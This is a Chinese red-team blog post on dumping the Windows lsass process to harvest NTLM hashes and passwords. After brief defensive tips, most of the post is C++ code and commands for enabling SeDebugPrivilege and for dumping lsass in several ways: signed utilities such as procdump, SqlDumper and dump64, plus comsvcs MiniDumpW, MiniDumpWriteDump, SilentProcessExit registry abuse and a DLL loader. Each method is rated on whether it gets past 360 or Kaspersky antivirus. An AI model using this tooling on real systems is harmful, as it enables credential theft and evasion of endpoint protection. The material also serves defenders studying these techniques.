关于Dump lsass
2023-3-22 10:1:56 Author: 红队蓝军(查看原文) 阅读量:20 收藏

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

基础知识

windows中密码一般由两部分组成,LM Hash与NTLM Hash。 windows中Hash的结构如下: username:RID:LM-HASH:NT-HASH

(个人版windows Vista以后,服务器版windows Server 2003以后操作系统的认证方式都为NTLM Hash) 通常可从Windows系统中的SAM文件和域控的NTDS.dit文件(在域环境中,用户信息存储在NTDS.dit中)中获得所有用户的Hash。也可以通过Mimikatz读取lsass.exe进程获得已登录用户的NTLM hash和明文值 。

简易防范: 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。

安装 KB2871997: Microsoft KB2871997的学习

注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。 修改注册表禁止在内存中存储明文密码 关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。

权限提升

SeDebugPrivilege是调试权限的程序,开启了这个特权之后可以可以读写system启动的进程的内存,很显然我们想要dump或者OpenProcess下lsass.exe 进程,那么肯定需要SeDebugPrivilege权限

whoami /priv

我们以普通用户开启一个cmd窗口进行查看,发现并没有找到SeDebugPrivilege

我们以管理员身份启动一个cmd窗口进行查看,显示我们想要开启SeDebugPrivilege特权,那么需要管理员权限

如果想要更详细的说明,建议去msdn看官方文档,话不多说我们来看看如何开启SeDebugPrivilege特权

修改访问令牌

OpenProcessToken、LookupPrivilegeValue、AdjustTokenPrivileges三个函数的实现,对照msdn文档一目了然

#include 
#include 

using namespace std;

void GetPrivilege() {
    HANDLE TokenHandle = NULL;

    BOOL Open = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle);
    if (Open != 0) {

        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        BOOL Lookup = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
        if (Lookup != 0) {

            BOOL AdjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tp, sizeof(tp), NULLNULL);
            if (AdjustToken != 0)
            {
                CloseHandle(TokenHandle);
                cout << "AdjustTokenPrivileges Success" << endl;
            }
            else
            {
                cout << "AdjustTokenPrivileges Error" << endl;
            }
        }
        else
        {
            cout << "LookupPrivilegeValue Error" << endl;
        }
    }
    else
    {
        cout << "OpenProcessToken Error" << endl;
    }
}

void main() {
    GetPrivilege();
    system("cmd");
}

RtlAdjustPrivilege

这个函数是未公开函数,很是厉害,该函数在ntdll.dll这个动态链接库,因此直接动态调用即可

函数结构

NTSTATUS RtlAdjustPrivilege
(
        ULONG Privilege,        #权限ID
    BOOL Enable,        #True是打开,False是关闭
    BOOL CurrentThread, #True是提升当前线程权限,False是提升整个进程权限
    PULONG Enabled      #指针,内容是特权未修改的状态,最后一个参数别设置为NULL
)
;
#include 
#include 

using namespace std;

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    )
;

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }

    cout << "RtlAdjustPrivilege Success" << endl;
}

void main() {
    SeDebugPrivilege();
    system("cmd");
}

接下来进入正题

白名单文件

procdump

ProcDump是一个命令行实用工具,其主要用途是监视应用程序的 CPU 峰值,并在出现峰值期间生成故障转储,管理员或开发人员可以使用这些转储来确定峰值的原因。

因此其是自带微软签名的

procdump.exe -accepteula -ma lsass.exe lsass.dmp

实际中360会直接查杀

卡巴斯基虽然不会查杀,但是其敏感进程会拦截

SQLDumper

作为 SQL External minidumper 文件,它是为在 Microsoft SQL Server 中使用而由 inFlow Inventory Software 创建的。

同样其文件具有微软的签名(360、卡巴斯基无法抓取)

tasklist /svc | findstr "lsass.exe"

SqlDumper.exe pid 0 0x01100

dump64

这个是Visual Studio中自带的,因此也是具有微软的签名

dump64.exe pid d:\a.dmp

卡巴斯基无法导出文件

360直接拦截

DumpMinitool.exe

推特上大哥分享的LOLBIN,Visual Studio中自带的程序 路径

C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions

卡巴斯基过不了 除了白名单我们还可以直接利用函数来实现dump

MiniDumpW

comsvcs.dll转储MiniDumpW,MiniDumpW是comsvcs.dll中的函数

dumpbin /exports C:\Windows\System32\comsvcs.dll

代码实现

通过CreateToolhelp32Snapshot函数对所有进程进行快照的拍摄 利用RtlAdjustPrivilege函数对进程进行权限提升 利用Process32First、Process32Next函数,遍历拍摄的快照,寻找lsass.exe进程,获得其Pid 动态调用MiniDumpW函数进行dump 很明了了,根据msdn文档对照即可实现

#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

...............................
...............................
...............................

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }

    cout << "RtlAdjustPrivilege Success" << endl;
}

int main(int argc, char* argv[]) {

    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);
        ...............................
        ...............................
    ...............................
    cout << "MiniDumpW Success" << endl;
    cout << "C:\\Windows\\Temp\\" << a << endl;

    return 0;
}

卡巴斯基无法导出文件

360核晶无法导出完整文件

MiniDumpWriteDump

函数参考官方手册,很简单一目了然

https://learn.microsoft.com/zh-cn/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump

代码实现

  • 通过CreateToolhelp32Snapshot函数对所有进程进行快照的拍摄
  • 利用RtlAdjustPrivilege函数对进程进行权限提升
  • 利用Process32First、Process32Next函数,遍历拍摄的快照,寻找lsass.exe进程,获得其Pid
  • OpenProcess函数获得lsass.exe进程的句柄

然后利用MiniDumpWriteDump函数从内存中进行dump

#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

#pragma comment( lib, "DbgHelp.lib" )

typedef NTSTATUS(WINAPI* _RtlAdjustPrivilege)(
    ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
    )
;

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }

    cout << "RtlAdjustPrivilege Success" << endl;
}

int main() {

    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);

    ...............................
        ...............................
    ...............................

    SeDebugPrivilege();
    HANDLE Open_Handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    ...............................
        ...............................
    ...............................
    if (isDumped == TRUE) {
        cout << "Success" << endl;
    }
    else
    {
        cout << "MiniDumpWriteDump Error" << endl;
    }

    return 0;
}

对于卡巴斯基任然无法导出

360核晶无法导出完整文件

RtlReportSilentProcessExit静默退出

之前有个操作就是利用蓝屏崩溃来进行转储绕过卡巴斯基进行dump,但是把对方电脑都弄蓝屏了这显示不实用。 在win7之后,windows引入了一些进程退出的相关机制,即Selftermination的ExitProcess.与Crossprocesstermination的TerminateProcess. 这次利用的就是Silent Process Exit(静默退出)。

我们可以调用ntdll.dll的RtlReportSilentProcessExit()函数,我们可以利用其进行转储文件又不会导致程序崩溃(因为lsass进程崩溃可能会导致电脑重启)

我们首先要在注册表中设置如下(有点像IFEO是吧)

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\

其中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option\的GlobalFlag键设置为FLG_MONITOR_SILENT_PROCESS_EXIT (0x200)

在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit项下设置三个属性

详细参考MSDN(非常的详细了)

https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit

ReportingMode (REG_DWORD) 需要执行的操作
* LAUNCH_MONITORPROCESS (0x1) – 启动一个监控进程
* LOCAL_DUMP (0x2) – 为导致终止的进程和被终止的进程创建转储文件
* NOTIFICATION (0x4) – 显示弹出通知
LocalDumpFolder(REG_SZ) 转储文件保存的路径
DumpType(REG_DWORD)转储文件类型

代码实现

通过RegCreateKeyExA、RegSetValueExA函数设置好上述两个注册表

#include 
#include 
#include 
#include 
#include 
#include 

using namespace std;

    ...............................
        ...............................
    ...............................

_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");

//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege" << endl;
        return 0;
    }

    cout << "RtlAdjustPrivilege Success" << endl;
}

int Get_Pid() {
    HRESULT hr;

    DWORD pid;
    PROCESSENTRY32 ed;
    ed.dwSize = sizeof(PROCESSENTRY32);

    ...............................
        ...............................
    ...............................

    if (RegCreate == ERROR_SUCCESS) {

        cout << "RegCreateKeyExA Success" << endl;

        DWORD GlobalFlag = 0x200;
        LSTATUS RegSetValue_GlobalFlag = RegSetValueExA(phkResult, "GlobalFlag"0, REG_DWORD, (const BYTE*)&GlobalFlag, sizeof(DWORD));

    ...............................
        ...............................
    ...............................

            if (RegSetValue_ReportingMode == ERROR_SUCCESS && RegSetValue_LocalDumpFolder == ERROR_SUCCESS
                && RegSetValue_DumpType == ERROR_SUCCESS) {

                cout << "RegSetValue_All Success" << endl;
            }
            else
            {
                cout << "RegSetValue_One Error" << endl;
            }

            }
        else
        {
            cout << "RegCreateKeyExA SilentProcessExit Error" << endl;
        }
    }
    else
    {
        cout << "RegCreateKeyExA Error" << endl;
    }

    return 0;
}

int main(int argc, char* argv) {

    Reg_Set();
    DWORD pid = Get_Pid();
    cout << "Lsass Pid is:" << pid << endl;

    ...............................
        ...............................
    ...............................

        cout << "Path:C:\\tmp" << endl;
    }
    else {
        cout << "OpenProcess Error" << endl;
    }

    return 0;
}

360会检测其对注册表的操作

卡巴斯基同样无法导出

通过Dll加载

具体实现都差不多,只不过写在了Dll里面

代码实现

#include <Windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
#include <DbgHelp.h>

#pragma comment( lib, "DbgHelp.lib" )

...............................
...............................
...............................

//获取SeDebugPrivilege,最后一个参数别设置为NULL
int SeDebugPrivilege() {
    ULONG t;
    RtlAdjustPrivilege(20, TRUE, FALSE, &t);
    if (RtlAdjustPrivilege == NULL) {
        cout << "Unable to resolve RtlAdjustPrivilege.\n" << endl;
        return 0;
    }

    cout << "RtlAdjustPrivilege Success" << endl;
}

void Dump() {

    DWORD pid;
    DWORD gid;
    PROCESSENTRY32 ed;
    ...............................
        ...............................
    ...............................

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )

{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

卡巴斯基过不了

最后

本篇只是列出了一些常规的方法,还有一些方法没有介绍到比如ssp等 最后

卡巴斯基也是一样

https://forum.butian.net/share/2094

若有侵

wx

ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs

    

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247507430&idx=1&sn=da2f6c0a9d5727e381fc98779264a573&chksm=ce67675af910ee4cc1d7662df0bfd1554c048fe545ba9183d805ee818ad2ed6ce3b70d3ecf89#rd
如有侵权请联系:admin#unsafe.sh